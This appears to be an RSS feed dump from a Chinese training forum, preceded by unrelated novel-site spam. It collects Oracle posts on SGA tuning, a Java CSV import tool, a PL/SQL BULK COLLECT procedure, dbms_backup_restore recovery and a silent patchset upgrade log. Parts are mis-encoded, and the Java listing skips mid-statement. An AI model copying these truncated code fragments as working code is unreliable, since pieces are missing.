辰东完美世界有声小说,择天记,辰东全部小说http://www.bjzhda.cnzh-cn曙海教育集團(tuán)論壇http://www.bjzhda.cnRss Generator By Dvbbs.Net[email protected]images/logo.gif曙海教育集團(tuán)論壇Oracle Tuning的一些總結(jié)http://www.brpp.cn/bbs/dispbbs.asp?BoardID=65&ID=2508&Page=1wangxinxin2010-12-11 11:13:01        本文主要是把一些Oracle Tuning的文章作了一個(gè)簡(jiǎn)單的總結(jié),力求以實(shí)際可操作為目的,配合講解部分理論知識(shí),使大部分具有一般Oracle知識(shí)的使用者能夠?qū)racle Tuning有所了解,并且能夠根據(jù)實(shí)際情況對(duì)某些參數(shù)進(jìn)行調(diào)整。關(guān)于更加詳細(xì)的知識(shí),請(qǐng)參見(jiàn)本文結(jié)束部分所提及的推薦書籍,同時(shí)由于該話題內(nèi)容太多且復(fù)雜,本文必定有失之偏頗甚至錯(cuò)誤的地方,請(qǐng)不吝賜教,并共同進(jìn)步。

1.  SGA的設(shè)置
        在Oracle Tuning中,對(duì)SGA的設(shè)置是關(guān)鍵。SGA,是指Shared Global Area , 或者是 System Global Area , 稱為共享全局區(qū)或者系統(tǒng)全局區(qū),結(jié)構(gòu)如下圖所示。


 
        對(duì)于SGA區(qū)域內(nèi)的內(nèi)存來(lái)說(shuō),是共享的、全局的,在UNIX 上,必須為oracle 設(shè)置共享內(nèi)存段(可以是一個(gè)或者多個(gè)),因?yàn)閛racle 在UNIX上是多進(jìn)程;而在WINDOWS上oracle是單進(jìn)程(多個(gè)線程),所以不用設(shè)置共享內(nèi)存段。

1.1  SGA的各個(gè)組成部分
下面用 sqlplus 查詢舉例看一下 SGA 各個(gè)組成部分的情況:
SQL> select * from v$sga;
NAME                      VALUE
--------------------              ----------
Fixed Size                   104936
Variable Size              823164928
Database Buffers          1073741824
Redo Buffers                 172032

或者
SQL> show sga
Total System Global Area   1897183720 bytes
Fixed Size                   104936 bytes
Variable Size              823164928 bytes
Database Buffers          1073741824 bytes
Redo Buffers                 172032 bytes

Fixed Size
        oracle 的不同平臺(tái)和不同版本下可能不一樣,但對(duì)于確定環(huán)境是一個(gè)固定的值,里面存儲(chǔ)了SGA 各部分組件的信息,可以看作引導(dǎo)建立SGA的區(qū)域。

Variable Size
        包含了shared_pool_size、java_pool_size、large_pool_size 等內(nèi)存設(shè)置

Database Buffers
        指數(shù)據(jù)緩沖區(qū),在8i 中包含db_block_buffer*db_block_size、buffer_pool_keep、buffer_pool_recycle 三部分內(nèi)存。在9i 中包含db_cache_size、db_keep_cache_size、db_recycle_cache_size、db_nk_cache_size。

Redo Buffers
       指日志緩沖區(qū),log_buffer。在這里要額外說(shuō)明一點(diǎn)的是,對(duì)于v$parameter、v$sgastat、v$sga查詢值可能不一樣。v$parameter 里面的值,是指用戶在初始化參數(shù)文件里面設(shè)置的值,v$sgastat是oracle 實(shí)際分配的日志緩沖區(qū)大�。ㄒ�?yàn)榫彌_區(qū)的分配值實(shí)際上是離散的,也不是以block 為最小單位進(jìn)行分配的),v$sga 里面查詢的值,是在oracle 分配了日志緩沖區(qū)后,為了保護(hù)日志緩沖區(qū),設(shè)置了一些保護(hù)頁(yè),通常我們會(huì)發(fā)現(xiàn)保護(hù)頁(yè)大小是8k(不同環(huán)境可能不一樣)。參考如下內(nèi)容
SQL> select substr(name,1,10) name,substr(value,1,10) value
       2 from v$parameter where name = 'log_buffer';
NAME                 VALUE
--------------------  --------------------
log_buffer              163840

SQL> select * from v$sgastat where pool is null;

POOL        NAME                       BYTES
----------- --------------------------                ----------
            fixed_sga                      104936
            db_block_buffers            1073741824
            log_buffer                     163840

SQL> select * from v$sga;

NAME                      VALUE
--------------------              ----------
Fixed Size                   104936
Variable Size               823164928
Database Buffers           1073741824
Redo Buffers                 172032

172032 – 163840 = 8192

(以上試驗(yàn)數(shù)據(jù)是在 HP B.11.11 + Oracle 8.1.7.4 環(huán)境下得到的)


1.2  SGA的大小設(shè)置
       在對(duì)SGA的結(jié)構(gòu)進(jìn)行簡(jiǎn)單分析以后,下面是關(guān)于如何根據(jù)系統(tǒng)的情況正確設(shè)置SGA大小的問(wèn)題。
SGA是一塊內(nèi)存區(qū)域,占用的是系統(tǒng)物理內(nèi)存,因此對(duì)于一個(gè)Oracle應(yīng)用系統(tǒng)來(lái)說(shuō),SGA決不是越大越好,這就需要尋找一個(gè)系統(tǒng)優(yōu)化的平衡點(diǎn)。


1.2.1  設(shè)置參數(shù)前的準(zhǔn)備
在設(shè)置SGA的內(nèi)存參數(shù)之前,我們首先要問(wèn)自己幾個(gè)問(wèn)題
一:物理內(nèi)存多大
二:操作系統(tǒng)估計(jì)需要使用多少內(nèi)存
三:數(shù)據(jù)庫(kù)是使用文件系統(tǒng)還是裸設(shè)備
四:有多少并發(fā)連接
五:應(yīng)用是OLTP 類型還是OLAP 類型


根據(jù)這幾個(gè)問(wèn)題的答案,我們可以粗略地為系統(tǒng)估計(jì)一下內(nèi)存設(shè)置。那我們現(xiàn)在來(lái)逐個(gè)問(wèn)題地討論,首先物理內(nèi)存多大是最容易回答的一個(gè)問(wèn)題,然后操作系統(tǒng)估計(jì)使用多少內(nèi)存呢?從經(jīng)驗(yàn)上看,不會(huì)太多,通常應(yīng)該在200M 以內(nèi)(不包含大量進(jìn)程PCB)。
接下來(lái)我們要探討一個(gè)重要的問(wèn)題,那就是關(guān)于文件系統(tǒng)和裸設(shè)備的問(wèn)題,這往往容易被我們所忽略。操作系統(tǒng)對(duì)于文件系統(tǒng),使用了大量的buffer 來(lái)緩存操作系統(tǒng)塊。這樣當(dāng)數(shù)據(jù)庫(kù)獲取數(shù)據(jù)塊的時(shí)候,雖然SGA 中沒(méi)有命中,但卻實(shí)際上可能是從操作系統(tǒng)的文件緩存中獲取的。而假如數(shù)據(jù)庫(kù)和操作系統(tǒng)支持異步IO,則實(shí)際上當(dāng)數(shù)據(jù)庫(kù)寫進(jìn)程DBWR寫磁盤時(shí),操作系統(tǒng)在文件緩存中標(biāo)記該塊為延遲寫,等到真正地寫入磁盤之后,操作系統(tǒng)才通知DBWR寫磁盤完成。對(duì)于這部分文件緩存,所需要的內(nèi)存可能比較大,作為保守的估計(jì),我們應(yīng)該考慮在 0.2——0.3 倍內(nèi)存大小。但是如果我們使用的是裸設(shè)備,則不考慮這部分緩存的問(wèn)題。這樣的情況下SGA就有調(diào)大的機(jī)會(huì)。
關(guān)于數(shù)據(jù)庫(kù)有多少并發(fā)連接,這實(shí)際上關(guān)系到PGA 的大�。∕TS 下還有l(wèi)arge_pool_size)。事實(shí)上這個(gè)問(wèn)題應(yīng)該說(shuō)還跟OLTP 類型或者OLAP 類型相關(guān)。對(duì)于OLTP類型oracle 傾向于可使用MTS,對(duì)于OLAP 類型使用獨(dú)立模式,同時(shí)OLAP 還可能涉及到大量的排序操作的查詢,這些都影響到我們內(nèi)存的使用。那么所有的問(wèn)題綜合起來(lái),實(shí)際上主要反映在UGA的大小上。UGA主要包含以下部分內(nèi)存設(shè)置
SQL> show parameters area_size

NAME                                 TYPE    VALUE
------------------------------------               -------     --------
bitmap_merge_area_size                   integer    1048576
create_bitmap_area_size                   integer    8388608
hash_area_size                           integer     131072
sort_area_size                            integer     65536
SQL>


]]>
4月14日 從文件(*.csv或*.txt)導(dǎo)入Oracle數(shù)據(jù)庫(kù)Java源代碼http://www.brpp.cn/bbs/dispbbs.asp?BoardID=65&ID=2507&Page=1wangxinxin2010-12-11 11:11:37首先需要配置XML文件,如下:
<?xml version="1.0" encoding="UTF-8"?>
<root>
<DefaultImport>Employee</DefaultImport>
<TargetTable tableName="EMPLOYEE_TEST">
<!--表中對(duì)應(yīng)文件的列名和類型信息-->
<ColumnFileInfo>
   <Column name="ID" type="String"/>
   <Column name="DEP" type="String"/>
   <Column name="NAME" type="String"/>
   <Column name="AREA" type="String"/>
   <Column name="AGE" type="Number"/>
   <Column name="SEX" type="String"/>
   <Column name="XUELI" type="String"/>
   <Column name="SALARY" type="Number"/>
   <Column name="PRIX" type="Date"/>
</ColumnFileInfo>
</TargetTable>

<TargetTable tableName="YFJBXX_TEST">
   <ColumnFileInfo>
    <Column name="GLGXZJ" type="String"/>
   <Column name="YXTZJ" type="String"/>  
   <Column name="YFXM" type="String"/>   
   <Column name="JZDZ" type="String"/>   
   <Column name="JZDXZQH_DM" type="String"/>   
   <Column name="HJDZ" type="String"/>   
   <Column name="HJDXZQH_DM" type="String"/>   
   <Column name="SFZH" type="String"/>     
   <Column name="CSRQ" type="String"/>  
   <Column name="MZ_DM" type="String"/>   
   <Column name="WHCD_DM" type="String"/>
   <Column name="HKXZ_DM" type="String"/>
   <Column name="HYZK_DM" type="String"/>
   <Column name="CHRQ" type="String"/>   
   <Column name="JRXTRQ" type="String"/>
   <Column name="TCXTRQ" type="String"/>
   <Column name="TCYY_DM" type="String"/>
   <Column name="ZF_XM" type="String"/>  
   <Column name="ZF_JJDZ" type="String"/>   
   <Column name="ZF_JJDXZQHDM_DM" type="String"/>   
   <Column name="ZF_HJDZ" type="String"/>   
   <Column name="ZF_HJDXZQH_DM" type="String"/>   
   <Column name="ZF_SFZH" type="String"/>   
   <Column name="ZF_CSRQ" type="String"/>   
   <Column name="ZF_MZ_DM" type="String"/>   
   <Column name="ZF_WHCD_DM" type="String"/>
   <Column name="ZF_HKXZ_DM" type="String"/>
   <Column name="LGRZRQ" type="String"/>      
</ColumnFileInfo>
<ColumnCodeInfo>
    <Column name="LRSJ" type="Date"/>
   <Column name="SBPCH" type="String"/>
   <Column name="SBDWXZQH_DM" type="String"/>
</ColumnCodeInfo>
</TargetTable>

<ImportDealClassList>
   <Bean name="ImportDirectImpl" class="fileimport.ImportDirectImpl"/>
   <Bean name="ImportWISImpl" class="fileimport.ImportWISImpl"/>
</ImportDealClassList>
<MaxCommitNumber>5000</MaxCommitNumber>
</root>

文件中描述了2個(gè)導(dǎo)入工作:(1)表EMPLOYEE_TEST(2)表YFJBXX_TEST,文件中每張表的列名和類型需要和導(dǎo)入的目標(biāo)表一致,且順序和文件中要導(dǎo)入的內(nèi)容相匹配,例如下面的csv文件:

"ID","DEP","NAME","AREA","AGE","SEX","XUELI","SALARY","PRIX"
"001","研發(fā)","張三","北京","34","女","本科","4546","1"
"002","銷售","李四","天津","45","男","專科","4456","2"

可以看到導(dǎo)入的順序和上述XML文件中的列名一致。

如果從文件導(dǎo)入到數(shù)據(jù)庫(kù)中完全匹配,只需配置文件中的<Bean name="ImportDirectImpl" class="fileimport.ImportDirectImpl"/>即可,代碼中調(diào)用示例:
    //設(shè)置XML配置文件所在位置
    FileImportInitFactory.setConfigFileName("E:/EclipseProjects/WISImport/bin/fileimport/FileImportConfig.xml");
&nb

sp;   FileImportInitFactory.init();
    HashMap h = new HashMap(1,1);
    //如果有日期型的列,需要設(shè)置DateFormat并放入HashMap中
    h.put("DateFormat","yyyy-MM-dd HH:mm:ss");
    //執(zhí)行導(dǎo)入工作
    new ImportFileEntry().importFile("導(dǎo)入的文件路徑及名稱.csv","YFJBXX_TEST",false,"ImportDirectImpl",h);

ImportFileEntry()的importFile方法說(shuō)明:
/**
   * 從文件導(dǎo)入到指定表中
   * @param fileName String 要導(dǎo)入文件名
   * @param tableName String 導(dǎo)入目標(biāo)表名
   * @param firstLineRead boolean 是否讀取第一行
   * @param dealClass 處理類名稱(例如配置文件中Bean name="ImportDirectImpl")
   * @param aHashMap 擴(kuò)展用,需特殊處理時(shí)可置入變量
   * @throws Exception
   */
public void importFile(String fileName, String tableName, boolean firstLineRead,String dealClass,HashMap aHashMap) throws Exception ;

至此,一個(gè)簡(jiǎn)單的不需做任何處理直接從文件導(dǎo)入數(shù)據(jù)庫(kù)對(duì)應(yīng)表的功能就實(shí)現(xiàn)了。

但是有些時(shí)候我們需要進(jìn)行特殊的處理,例如表中的當(dāng)前操作日期列在導(dǎo)入文件中沒(méi)有,需要在代碼中加入,這時(shí)就需要實(shí)現(xiàn)FileImportInterface接口并加入到配置文件中例如:<Bean name="ImportWISImpl" class="fileimport.ImportWISImpl"/>,ImportWISImpl的實(shí)現(xiàn)代碼見(jiàn)后續(xù)代碼清單。

t;);
            columnListInfoCode[i][0] = columnName;
            columnListInfoCode[i][1] = columnType;
            System.out.println("Code columnName:" + columnName + " columnType:" + columnType);
          }
        }
        //生成實(shí)例
        ImportTableInfoBO importAction = new ImportTableInfoBO();
        importAction.setTableName(tableName);
        importAction.setColumnNamesFile(columnListInfoFile);
        if (columnListInfoCode != null) {
          importAction.setColumnNamesCode(columnListInfoCode);
        }
        //放入靜態(tài)容器中
        importJobList.put(tableName, importAction);
      }
      //2.其他配置信息
      Element importDealClassList = (Element) eroot.getElementsByTagName("ImportDealClassList").item(0);
      String className;
      String classFullName;
      NodeList beanList = importDealClassList.getElementsByTagName("Bean");
      for (int j=0; j < beanList.getLength(); j++){
        className = ( (Element) beanList.item(j)).getAttribute("name");
        classFullName = ( (Element) beanList.item(j)).getAttribute("class");
        dealClassList.put(className,classFullName);
      }
     
      System.out.println("importJobList.size()" + importJobList.size());
      System.out.println("dealClassList.size()" + dealClassList.size());

 

;      insertNum = 1;
        } else {
          insertNum++;
        }
      }
    } catch (Exception e) {
      e.printStackTrace();
      //---寫入數(shù)據(jù)庫(kù)待加入----
      //log.error(e.getMessage());
    }
}

public void close() {
    if (conn != null) {
      try {
        if (conn != null) {
          DbUtils.commitAndClose(conn);
        System.out.println("close end");
        }
      } catch (SQLException e) {
        e.printStackTrace();
        //log.error(e.getCause());
      }
    }
}

/**
   *
   * @param dateString String
   * @param format String
   * @return Date
   */
public Date formatDate(String dateString,String format){
    try{
      SimpleDateFormat f = new SimpleDateFormat(format);
      return f.parse(dateString);
    }catch(Exception e){
      return null;
    }
}

}


八、調(diào)用示例
package fileimport;

import java.util.HashMap;

public class ImportFileExample {
public ImportFileExample() {
}
public static void main(String[] args) {
   try {
     String ls = "c:/temp/employee_test.csv";

]]>
Oracle PLSQL中用pro進(jìn)行 BULK COLLECT 的高效率查詢處理http://www.brpp.cn/bbs/dispbbs.asp?BoardID=65&ID=2506&Page=1wangxinxin2010-12-11 11:09:53過(guò)程樣例:
create or replace procedure real_user as
  c_count number(10);
begin

  DECLARE
    TYPE mobile_type IS TABLE OF mobile_dabenying.mobile%TYPE;  --按表字段類型來(lái)定義變量類型
    t_mobile mobile_type := mobile_type();
  
  BEGIN
    select mobile BULK COLLECT  --批量選擇數(shù)據(jù)
      INTO t_mobile
      from (select mobile from mobile_dabenying order by mobile);
  
    if (t_mobile.COUNT > 0) then
      FOR i IN t_mobile.FIRST .. t_mobile.LAST LOOP
      
        select count(*)  --從號(hào)段中過(guò)濾
          into c_count
          from mobile_region
         where t_mobile(i) between start_mobile and end_mobile;
      
        if (c_count > 0) then
          c_count := 0;
          insert into mobile_dabenying2 (mobile) values (t_mobile(i));  --真實(shí)用戶
        else
          dbms_output.put_line(t_mobile(i));
          insert into mobile_dabenying3 (mobile) values (t_mobile(i));  --假用戶
        end if;
      
      END LOOP;
    end if;
  
  END;

end;]]>
Oracle備份恢復(fù)之利用dbms_backup_restore恢復(fù)數(shù)據(jù)庫(kù)http://www.brpp.cn/bbs/dispbbs.asp?BoardID=65&ID=2505&Page=1wangxinxin2010-12-11 11:08:29引用
RMAN> run {
2> allocate channel ch00 device type disk;
3> backup database include current controlfile format '/backup/full%t' tag='FULLDB';
4> sql 'alter system archive log current';
5> backup archivelog all format '/backup/arch%t' tag='ARCHIVELOG';
6> release channel ch00;
7> }

allocated channel: ch00
channel ch00: sid=17 devtype=DISK

Starting backup at 20-JAN-10
channel ch00: starting full datafile backupset
channel ch00: specifying datafile(s) in backupset
including current controlfile in backupset
input datafile fno=00001 name=/app/oracle/oradata/ora9i/system01.dbf
input datafile fno=00002 name=/app/oracle/oradata/ora9i/undotbs01.dbf
input datafile fno=00005 name=/app/oracle/oradata/ora9i/example01.dbf
input datafile fno=00011 name=/app/oracle/oradata/ora9i/STREAM01.dbf
input datafile fno=00010 name=/app/oracle/oradata/ora9i/xdb01.dbf
input datafile fno=00006 name=/app/oracle/oradata/ora9i/indx01.dbf
input datafile fno=00009 name=/app/oracle/oradata/ora9i/users01.dbf
input datafile fno=00003 name=/app/oracle/oradata/ora9i/cwmlite01.dbf
input datafile fno=00004 name=/app/oracle/oradata/ora9i/drsys01.dbf
input datafile fno=00007 name=/app/oracle/oradata/ora9i/odm01.dbf
input datafile fno=00008 name=/app/oracle/oradata/ora9i/tools01.dbf
channel ch00: starting piece 1 at 20-JAN-10
channel ch00: finished piece 1 at 20-JAN-10
piece handle=/backup/full708756233 comment=NONE
channel ch00: backup set complete, elapsed time: 00:02:26
Finished backup at 20-JAN-10

Starting Control File and SPFILE Autobackup at 20-JAN-10
piece handle=/app/oracle/product/9.0.2/dbs/c-2494723682-20100120-00 comment=NONE
Finished Control File and SPFILE Autobackup at 20-JAN-10

sql statement: alter system archive log current

Starting backup at 20-JAN-10
current log archived
channel ch00: starting archive log backupset
channel ch00: specifying archive log(s) in backup set
input archive log thread=1 sequence=1 recid=254 stamp=708756150
input archive log thread=1 sequence=2 recid=255 stamp=708756383
input archive log thread=1 sequence=3 recid=256 stamp=708756383
channel ch00: starting piece 1 at 20-JAN-10
channel ch00: finished piece 1 at 20-JAN-10
piece handle=/backup/arch708756383 comment=NONE
channel ch00: backup set complete, elapsed time: 00:00:02
Finished backup at 20-JAN-10

Starting Control File and SPFILE Autobackup at 20-JAN-10
piece handle=/app/oracle/product/9.0.2/dbs/c-2494723682-20100120-01 comment=NONE
Finished Control File and SPFILE Autobackup at 20-JAN-10

released channel: ch00

假設(shè)現(xiàn)在數(shù)據(jù)庫(kù)異常宕機(jī)
引用
SQL> shutdown abort
ORACLE instance shut down

啟動(dòng)數(shù)據(jù)庫(kù)至nomount狀態(tài)
引用
SQL> startup nomount
ORACLE instance started.

Total System Global Area 1125193868 bytes
Fixed Size                   452748 bytes
Variable Size             335544320 bytes
Database Buffers          788529152 bytes
Redo Buffers                 667648 bytes

1、利用dbms_backup_restore恢復(fù)控制文件
引用

SQL> DECLARE
  2  devtype varchar2(256);
  3  done boolean;
  4  BEGIN
  5  devtype := dbms_backup_restore.DeviceAllocate(type => '',ident => 'testctl');
  6  dbms_backup_restore.RestoresetdataFile;
  7  dbms_backup_restore.RestoreControlFileto('/app/oracle/oradata/ora9i/control01.ctl');
  8  dbms_backup_restore.RestoreBackupPiece('/backup/full708756233',done => done);
  9  dbms_backup_restore.RestoresetdataFile;
10  dbms_backup_restore.RestoreControlFileto('/app/oracle/oradata/ora9i/control02.ctl');
11  dbms_backup_restore.RestoreBackupPiece('/backup/full708756233',done => done);
12  dbms_backup_restore.RestoresetdataFile;
13  dbms_backup_restore.RestoreControlFileto('/app/oracle/oradata/ora9i/control03.ctl');
14  dbms_backup_restore.RestoreBackupPiece('/backup/full708756233',done => done);
15  dbms_backup_restore.DeviceDeallocate;
16  END;
17  /

PL/SQL procedure successfully completed.

當(dāng)然也已可用rman進(jìn)行控制文件恢復(fù)
引用
RMAN> restore controlfile from '/app/oracle/product/9.0.2/dbs/c-2494723682-20100120-00';

Starting restore at 20-JAN-10

using channel ORA_DISK_1
channel ORA_DISK_1: restoring controlfile
channel ORA_DISK_1: restore complete
replicating controlfile
input filename=/app/oracle/oradata/ora9i/control01.ctl
output filename=/app/oracle/oradata/ora9i/control02.ctl
output filename=/app/oracle/oradata/ora9i/control03.ctl
Finished restore at 20-JAN-10


2、利用dbms_backup_restore恢復(fù)數(shù)據(jù)文件
引用
SQL> DECLARE
  2  devtype varchar2(256);
  3  done boolean;
  4  BEGIN
  5  devtype := dbms_backup_restore.DeviceAllocate (type => '',ident => 'testdatafile');
  6  dbms_backup_restore.RestoreSetDatafile;
  7  dbms_backup_restore.RestoreDatafileTo(dfnumber => 1,toname => '/app/oracle/oradata/ora9i/system01.dbf');
  8  dbms_backup_restore.RestoreDatafileTo(dfnumber => 2,toname => '/app/oracle/oradata/ora9i/undotbs01.dbf');
  9  dbms_backup_restore.RestoreBackupPiece(done => done,handle => '/backup/full708756233', params => null);
10  dbms_backup_restore.DeviceDeallocate;
11  END;
12  /



PL/SQL procedure successfully completed.

3、利用dbms_backup_restore恢復(fù)歸檔日志
引用
SQL> DECLARE
  2  devtype varchar2(256);
  3  done boolean;
  4  BEGIN
  5  devtype := dbms_backup_restore.DeviceAllocate (type => '',ident => 'testarchlog');
  6  dbms_backup_restore.RestoreSetArchivedLog(destination=>'/app/oracle/product/9.0.2/dbs/arch');
  7  dbms_backup_restore.RestoreArchivedLog(thread=>1,sequence=>1);
  8  dbms_backup_restore.RestoreArchivedLog(thread=>1,sequence=>2);
  9  dbms_backup_restore.RestoreArchivedLog(thread=>1,sequence=>3);
10  dbms_backup_restore.RestoreBackupPiece(done => done,handle => '/backup/arch708756383', params => null);
11  dbms_backup_restore.DeviceDeallocate;
12  END;
13  /

PL/SQL procedure successfully completed.

]]>
Oracle 靜默模式升級(jí)數(shù)據(jù)庫(kù)http://www.brpp.cn/bbs/dispbbs.asp?BoardID=65&ID=2504&Page=1wangxinxin2010-12-11 11:07:00引用
$ oslevel -r
5300-06

升級(jí)步驟大致如下:
1、編輯升級(jí)介質(zhì)中的../Disk1/response/patchset.rsp文件,主要編輯以下條目
UNIX_GROUP_NAME="oinstall"
FROM_LOCATION="/oracle/Disk1/stage/products.xml"
ORACLE_HOME="/oracle/app/oracle/product/10.2/db_2"
ORACLE_HOME_NAME="OUIHome2"
注意ORACLE_HOME_NAME可以從../oraInventory/ContentsXML/inventory.xml文件中HOME NAME獲取。
2、升級(jí)Oracle軟件,刷新數(shù)據(jù)字典,不再贅述
引用
$ ./runInstaller -silent -ignoreDiskWarning -responseFile /oracle/Disk1/response/patchset.rsp

3、執(zhí)行root.sh
引用
$ su
root's Password:
# /oracle/app/oracle/product/10.2/db_2/root.sh
Running Oracle10 root.sh script...

The following environment variables are set as:
    ORACLE_OWNER= oracle
    ORACLE_HOME=  /oracle/app/oracle/product/10.2/db_2

Enter the full pathname of the local bin directory: [/usr/local/bin]:
The file "dbhome" already exists in /usr/local/bin.  Overwrite it? (y/n) [n]:
The file "oraenv" already exists in /usr/local/bin.  Overwrite it? (y/n) [n]:
The file "coraenv" already exists in /usr/local/bin.  Overwrite it? (y/n) [n]:

Entries will be added to the /etc/oratab file as needed by
Database Configuration Assistant when a database is created
Finished running generic part of root.sh script.
Now product-specific root actions will be performed.


附升級(jí)過(guò)程顯示日志:

引用
$ ./runInstaller -silent -ignoreDiskWarning -responseFile /oracle/Disk1/response/patchset.rsp
********************************************************************************

Your platform requires the root user to perform certain pre-installation
OS preparation.  The root user should execute '/usr/sbin/slibclean' on all the nodes before
you proceed with Patchset Installation.

Answer 'y' if root has run '/usr/sbin/slibclean' so you can proceed with Oracle
Patchset installation.
Answer 'n' to abort installation and then ask root to run '/usr/sbin/slibclean'.

********************************************************************************
Has '/usr/sbin/slibclean' been run by root? [y/n] (n)
y

Starting Oracle Universal Installer...

Checking installer requirements...

Checking operating system version: must be 5200, 5300 or 6100
                                      Passed


All installer requirements met.

Preparing to launch Oracle Universal Installer from /tmp/OraInstall2010-02-27_03-32-47AM. Please wait ...$ Oracle Universal Installer, Version 10.2.0.4.0 Production
Copyright (C) 1999, 2008, Oracle. All rights reserved.

You can find a log of this install session at:
/oracle/app/oracle/oraInventory/logs/installActions2010-02-27_03-32-47AM.log
.................................................................................................... 100% Done.


Loading Product Information
.......................................................................................................... 100% Done.


Starting execution of Prerequisites...
Total No of checks: 2

Performing check for checkToInstallCCR
Checking the Components installed in Oracle Home
Check complete. The overall result of this check is: Passed


Check complete: Passed
=======================================================================
Performing check for CompatibilityChecks
Checking for Oracle Home incompatibilities ...
Check complete. The overall result of this check is: Passed


Check complete: Passed
=======================================================================
PrereqChecks complete


Analyzing dependencies
............................................................................................................. 100% Done.


-----------------------------------------------------------------------------
Summary
Global Settings
    Source: /oracle/Disk1/stage/products.xml
    Oracle Home: /oracle/app/oracle/product/10.2/db_2 (OUIHome2)
Product Languages
   English
Space Requirements
   /oracle/ Required 3.81GB : Available 7.82GB
   /tmp/ Required 142MB (only as temporary space) : Available 146MB
New Installations (80 products)
   Oracle Notification Service Patch 10.2.0.4.0
   Database Configuration and Upgrade Assistants Patch 10.2.0.4.0
   Character Set Migration Utility Patch 10.2.0.4.0
   Oracle Database 10g Patch 10.2.0.4.0
   Oracle JDBC/OCI Instant Client Patch 10.2.0.4.0
   Oracle Database 10g Patch 10.2.0.4.0
   Enterprise Manager plugin Common Files Patch 10.2.0.4.0
   SQL*Plus 10.2.0.4.0
   HAS Common Files Patch 10.2.0.4.0
   HAS Files for DB Patch 10.2.0.4.0
   Oracle Java Client Patch 10.2.0.4.0
   Oracle JVM Patch 10.2.0.4.0
   Oracle Internet Directory Client Patch 10.2.0.4.0
   iSQL*Plus 10.2.0.4.0
   Oracle Advanced Security Patch 10.2.0.4.0
   Oracle Net Patch 10.2.0.4.0
   Oracle Net Listener Patch 10.2.0.4.0
   Oracle Wallet Manager Patch 10.2.0.4.0
   Precompiler Common Files Patch 10.2.0.4.0
   Secure Socket Layer Patch 10.2.0.4.0
   Oracle OLAP Patch 10.2.0.4.0
   Oracle OLAP API Patch 10.2.0.4.0
   OLAP SQL Scripts Patch 10.2.0.4.0
   Oracle interMedia Client Option Patch 10.2.0.4.0
   Oracle Database 10g interMedia Files Patch 10.2.0.4.0
   Oracle interMedia Patch 10.2.0.4.0
   PL/SQL Embedded Gateway Patch 10.2.0.4.0
   Oracle XML Development Kit Patch 10.2.0.4.0
   Oracle Text Patch 10.2.0.4.0
   Oracle Clusterware RDBMS Files Patch 10.2.0.4.0
   Database SQL Scripts Patch 10.2.0.4.0
   Oracle Data Mining RDBMS Files Patch 10.2.0.4.0
   Generic Connectivity Common Files Patch 10.2.0.4.0
   Installation Common Files Patch 10.2.0.4.0
   Oracle Starter Database Patch 10.2.0.4.0
   Sample Schema Data Patch 10.2.0.4.0
   Oracle interMedia Locator RDBMS Files Patch 10.2.0.4.0
   Oracle Call Interface (OCI) Patch 10.2.0.4.0
   Oracle OLAP RDBMS Files Patch 10.2.0.4.0
   Oracle Partitioning Patch 10.2.0.4.0
   PL/SQL 10.2.0.4.0
   Oracle Recovery Manager Patch 10.2.0.4.0
   Oracle Database Utilities Patch 10.2.0.4.0
   Oracle interMedia Locator Patch 10.2.0.4.0
   XML Parser for Java Patch 10.2.0.4.0
   Assistant Common Files Patch 10.2.0.4.0
   Oracle JDBC Thin Driver for JDK 1.2 Patch 10.2.0.4.0
   Oracle JDBC Thin Driver for JDK 1.4 Patch 10.2.0.4.0
   Oracle interMedia Java Advanced Imaging Patch 10.2.0.4.0
   SQLJ Runtime Patch 10.2.0.4.0
   XML Parser for Oracle JVM Patch 10.2.0.4.0
   Enterprise Manager Agent DB 10.2.0.4.0
   Enterprise Manager Baseline 10.2.0.4.0
   Oracle Enterprise Manager Console DB 10.2.0.4.0
   XDK Required Support Files Patch 10.2.0.4.0
   Agent Required Support Files Patch 10.2.0.4.0
   DBJAVA Required Support Files Patch 10.2.0.4.0
   LDAP Required Support Files Patch 10.2.0.4.0
   Precompiler Required Support Files Patch 10.2.0.4.0
   Oracle RAC Required Support Files-HAS Patch 10.2.0.4.0
   RDBMS Required Support Files for Instant Client Patch 10.2.0.4.0
   RDBMS Required Support Files Patch 10.2.0.4.0
   SQL*Plus Required Support Files Patch 10.2.0.4.0
   SSL Required Support Files for InstantClient Patch 10.2.0.4.0
   Oracle Net Required Support Files Patch 10.2.0.4.0
   Oracle Globalization Support Patch 10.2.0.4.0
   Oracle Core Required Support Files Patch 10.2.0.4.0
   Platform Required Support Files 10.2.0.4.0
   Oracle Message Gateway Common Files Patch 10.2.0.4.0
   Enterprise Manager Agent Core Patch 10.2.0.4.0a
   Enterprise Manager Common Core Patch 10.2.0.4.0a
   Enterprise Manager Repository Core patch 10.2.0.4.0a
   Oracle Containers for Java 10.2.0.4.0
   Enterprise Manager Repository DB 10.2.0.4.0
   Oracle LDAP administration patch 10.2.0.4.0
   Oracle Required Support Files 32 bit Patch 10.2.0.4.0
   JDBC Common Files 10.2.0.4.0
   Database Workspace Manager 10.2.0.4.0
   Oracle Configuration Manager 10.2.7.1.0
   Oracle Real Application Testing 10.2.0.4.0
Upgrades (5 products)
   Oracle Universal Installer 10.2.0.4.0
   Oracle One-Off Patch Installer 10.2.0.4.0
   Installer SDK Component 10.2.0.4.0
   Java Runtime Environment 1.4.2.14.0
   Sun JDK 1.4.2.14.0
Already Installed (78 products)
   Oracle Notification Service 10.1.0.3.0
   Database Configuration and Upgrade Assistants 10.2.0.1.0
   Character Set Migration Utility 10.2.0.1.0
   Oracle Database 10g 10.2.0.1.0
   Oracle JDBC/OCI Instant Client 10.2.0.1.0
   Oracle Database 10g 10.2.0.1.0
   Enterprise Manager plugin Common Files 10.2.0.1.0
   SQL*Plus 10.2.0.1.0
   HAS Common Files 10.2.0.1.0
   HAS Files for DB 10.2.0.1.0
   Oracle Java Client 10.2.0.1.0
   Oracle JVM 10.2.0.1.0
   Oracle Internet Directory Client 10.2.0.1.0
   iSQL*Plus 10.2.0.1.0
   Oracle Advanced Security 10.2.0.1.0
   Oracle Net 10.2.0.1.0
   Oracle Net Listener 10.2.0.1.0
   Oracle Wallet Manager 10.2.0.1.0
   Precompiler Common Files 10.2.0.1.0
   Secure Socket Layer 10.2.0.1.0
   Oracle OLAP 10.2.0.1.0
   Oracle OLAP API 10.2.0.1.0
   OLAP SQL Scripts 10.2.0.1.0
   Oracle interMedia Client Option 10.2.0.1.0
   Oracle Database 10g interMedia Files 10.2.0.1.0
   Oracle interMedia 10.2.0.1.0
   PL/SQL Embedded Gateway 10.2.0.1.0
